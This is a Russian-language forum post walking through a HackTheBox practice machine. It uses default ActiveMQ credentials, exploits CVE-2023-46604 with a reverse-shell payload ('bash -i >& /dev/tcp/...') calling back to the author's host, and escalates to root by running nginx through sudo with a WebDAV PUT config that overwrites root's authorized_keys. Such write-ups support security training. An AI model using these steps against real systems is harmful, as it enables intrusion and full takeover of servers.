HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.12.2023, 17:34
Trager
Познающий
Регистрация: 08.03.2023
Сообщений: 30
С нами: 1678427

Репутация: 0
По умолчанию

Друзья, всем привет! Сегодня пройдём лёгкую
Код:
Linux
-машину с площадки
Код:
HackTheBox
. Приятного чтения!

Разведка

Сканируем порты, используем флаг
Код:
-sC
, чтобы использовать стандартные скрипты,
Код:
-sV
, чтобы определить сервисы открытых портов:

Bash:


Код:
nmap -sC -sV -oN nmap.out
10.10
.11.243
Bash:


Код:
PORT     STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.9p1 Ubuntu 3ubuntu0.4
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
256
3eea454bc5d16d6fe2d4d13b0a3da94f
(
ECDSA
)
|
_
256
64cc75de4ae6a5b473eb3f1bcfb4e394
(
ED25519
)
80
/tcp
open
http    nginx
1.18
.0
(
Ubuntu
)
|
http-auth:
|
HTTP/1.1
401
Unauthorized
\
x0D
|
_  basic
realm
=
ActiveMQRealm
|
_http-server-header: nginx/1.18.0
(
Ubuntu
)
|
_http-title: Error
401
Unauthorized
Service Info: OS: Linux
;
CPE: cpe:/o:linux:linux_kernel
Имеется два открытых
Код:
TCP
-порта:
Код:
22
и
Код:
80
. Перейдём на
Код:
80
-ый порт:



Требуется ввести имя пользователя и пароль. В случае, если они неверны, то вылетает
Код:
401 Unauthorized
. Из сканирования
Код:
nmap’а
можно понять, что используется
Код:
Apache ActiveMQ
. Таким образом мы можем загуглить имя пользователя/пароль, которые изначально установлены:



Указываем
Код:
admin:admin
и попадаем в панель:



Перейдя в
Код:
/admin/
, мы можем узнать версию сервиса
Код:
Apache ActiveMQ
:



Гуглим версию с названием сервиса и натыкаемся на CVE-2023-46604:



Мы также можем воспользоваться данным эксплойтом для получения первичного доступа (
Код:
www-data
):



Важно отметить, что для его работы Вам требуется установленный компилятор
Код:
Go
. Также можете воспользоваться эксплойтом на python. В
Код:
GitHub
-проекте есть несколько файлов:
Код:
main.go
- сама программа, а
Код:
poc.xml
-
Код:
XML
-файл с полезной нагрузкой. Последний сделан для того, чтобы продемонстрировать наличие уязвимости:



Поэтому нам нужно его изменить на:

XML:


Код:
bash

-c

bash -i
>
&
/dev/tcp/10.10.16.108/9898 0
>
&
1
*
Код:
10.10.16.108
- мой
Код:
IP
-адрес,
Код:
9898
- мой порт на листенере
Код:
nc
.

Теперь нам понадобятся три сессии терминала:
  1. В первой
    Код:
    (1)
    мы поднимем веб-сервер
    Код:
    python
    на
    Код:
    8000
    порту - через него уязвимый сервер с помощью эксплойта сможет получить доступ к
    Код:
    poc.xml
    , который располагается у нас на хосте.
  2. Во второй
    Код:
    (2)
    поднимаем листенер на
    Код:
    9898
    , чтобы получить реверс шелл.
  3. В третьей
    Код:
    (3)
    запускаем сам эскплоит через
    Код:
    go
    с указанием уязвимого сервера (опция
    Код:
    -i
    ) и ссылки на на
    Код:
    poc.xml
    .



Запускаем всё и получаем сессию от имени пользователя
Код:
www-data
:



На данном этапе Вы уже можете прочитать
Код:
user.txt
.

Взятие пользователя

После того, как мы получили первичный доступ, используем стандартную команду
Код:
sudo -l
, чтобы узнать какие команды от лица
Код:
www-data
мы можем запускать без пароля с правами суперпользователя:



Исходя из вывода, мы можем таким образом запустить веб-сервер
Код:
nginx
. Самый простой вариант - сделать
Код:
nginx.conf
и запустить
Код:
nginx
на каком-нибудь порту, например,
Код:
9899
, затем просто прочитать файл
Код:
root.txt
. Но мы немного усложним и пройдём машину так, чтобы получить удалённый доступ от лица пользователя
Код:
root
. Немного покопавшись в гугле, можно найти следующую статью:



В ней есть примеры
Код:
nginx.conf’а
, которые помогут нам сделать эксплоит:



1. Создаём
Код:
nginx.conf
со следующим содержимым (порт Вы можете изменить):
  • user root; - устанавливает пользователя, от имени которого будет работать процесс
    Код:
    nginx
    . В данном случае, установлен пользователь
    Код:
    root
    , что означает, что
    Код:
    nginx
    будет работать с правами суперпользователя.
  • events { worker_connections 500; } - задает параметры для обработки событий воркерами
    Код:
    nginx
    . В данном случае, установлено значение
    Код:
    worker_connections
    равным
    Код:
    500
    , что определяет максимальное количество одновременных соединений, которые может обрабатывать один воркер.
  • http { ... } - объявляет блок конфигурации для настроек
    Код:
    HTTP
    -сервера.
  • server { ... } - объявляет блок конфигурации для настроек виртуального сервера внутри блока
    Код:
    http
    .
  • listen 9899; - устанавливает порт, на котором сервер будет слушать входящие соединения. В данном случае, сервер будет слушать порт
    Код:
    9899
    .
  • root /; - устанавливает корневую директорию (
    Код:
    /
    ) для этого виртуального сервера.
  • dav_methods PUT; - включает поддержку метода
    Код:
    HTTP PUT
    для данного сервера. Метод
    Код:
    PUT
    позволяет клиентам загружать файлы на сервер.
2. Поднимем веб-сервер
Код:
python
на
Код:
8000
порту.
3. Загрузим в
Код:
/tmp
созданный нами файл
Код:
nginx.conf
с помощью веб-сервера
Код:
python
.
4. Запустим
Код:
nginx
с правами суперпользователя, используя опцию
Код:
-c
, чтобы указать путь к конфигурационному файлу.
5. Используем
Код:
curl
, чтобы убедиться в том, что веб-сервер заработал на указанном порту.

План действий таков: перезапишем
Код:
authorized_keys
в каталоге
Код:
/root/.ssh/
на атакуемой машине (т.к. веб-сервер подняли с правами суперпользователя и указали в конфиге, что работа идёт от
Код:
root
), чтобы подключиться по
Код:
SSH
от лица пользователя
Код:
root
без пароля.

Для начала сгенерируем
Код:
SSH
-ключи на нашей машине с помощью
Код:
ssh-keygen
:



Прочитаем и скопируем публичный ключ
Код:
id_rsa.pub
:



И сделаем следующий
Код:
PUT
-запрос с помощью
Код:
curl
:

Bash:


Код:
curl
-X PUT http://10.10.11.243:9899/root/.ssh/authorized_keys --data
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtcJKegrmZIW6DUp02zvXRacBkkk2YOQlMRztFaK6oRh2fMPTPUfClYiLHSiJkgS8cSF+KaffPPJvobdsU56pVnuSESJCNLPDuuL65IXJDqh6kFNjpcN3RzEfFw2u0Xzv7iqxBFnGp92MzKI7izs0UJaNLc4v6rj0I3jQFyjR6jNXtSy/NiZwm6pT2Sv+qMpjlNLW6iOCDIouT7Jja/Y93x5QS6vUz/b/X1HUuchkJSJz2K3IKgUvTGJfvzuw5ihLKC+7lv8gNubOKsq3WzOoJublJyOM158bn27pZTIlianuNfHaGeFmKRiyOCFtJeg4guQZZaMkcNu/4IDDe6xfwWbF5DNradDeDZ7hfQDOF1HHVp0vclRseUgiPOUigbjCpWt0kSiwtBoUVLCTVXpX79CrGXoDQFi82otRTBslDe8dRfyfN58fE13JKzXI5VYFzQCwZk9QoDSksGjIP5OfMu1LM5L0zZ66cTshF/2jk75B3GkIfT0d48vJPgYsRHJc= trager@hackmachine"


После отправки запроса пробуем подключиться к
Код:
10.10.11.243
от лица
Код:
root
:



Успех! Получаем
Код:
root
-флаг.

Друзья, большое спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях =D
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.